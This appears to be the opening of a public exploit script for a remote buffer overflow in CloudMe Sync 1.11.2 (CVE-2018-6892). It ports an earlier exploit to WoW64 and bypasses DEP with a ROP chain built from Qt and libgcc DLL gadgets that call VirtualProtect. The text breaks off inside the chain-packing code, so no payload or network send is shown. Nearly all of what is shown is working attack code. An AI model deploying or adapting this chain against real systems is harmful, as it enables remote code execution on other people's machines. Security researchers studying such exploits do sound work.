# Exploit Title: CloudMe Sync v1.11.2 Buffer Overflow - WoW64 - (DEP Bypass) # Date: 24.01.2019 # Exploit Author: Matteo Malvica # Vendor Homepage:https://www.cloudme.com/en # Software: https://www.cloudme.com/downloads/CloudMe_1112.exe # Category: Remote # Contact:https://twitter.com/matteomalvica # Version: CloudMe Sync 1.11.2 # Tested on: Windows 7 SP1 x64 # CVE-2018-6892 # Ported to WoW64 from https://www.exploit-db.com/exploits/46218 import socket import struct def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x61ba8b5e, # POP EAX # RETN [Qt5Gui.dll] 0x690398a8, # ptr to &VirtualProtect() [IAT Qt5Core.dll] 0x61bdd7f5, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll] 0x68aef542, # XCHG EAX,ESI # RETN [Qt5Core.dll] 0x68bfe66b, # POP EBP # RETN [Qt5Core.dll] 0x68f82223, # & jmp esp [Qt5Core.dll] 0x6d9f7736, # POP EDX # RETN [Qt5Sql.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x6eb47092, # NEG EDX # RETN [libgcc_s_dw2-1.dll] 0x61e870e0, # POP EBX # RETN [Qt5Gui.dll] 0xffffffff, # 0x6204f463, # INC EBX # RETN [Qt5Gui.dll] 0x68f8063c, # ADD EBX,EDX # ADD AL,0A # RETN [Qt5Core.dll] 0x61ec44ae, # POP EDX # RETN [Qt5Gui.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x6eb47092, # NEG EDX # RETN [libgcc_s_dw2-1.dll] 0x61e2a807, # POP ECX # RETN [Qt5Gui.dll] 0x6eb573c9, # &Writable location [libgcc_s_dw2-1.dll] 0x61e85d66, # POP EDI # RETN [Qt5Gui.dll] 0x6d9e431c, # RETN (ROP NOP) [Qt5Sql.dll] 0x61ba8ce5, # POP EAX # RETN [Qt5Gui.dll] 0x90909090, # nop 0x61b6b8d0, # PUSHAD # RETN [Qt5Gui.dll] ] return ''.join(struct.pack('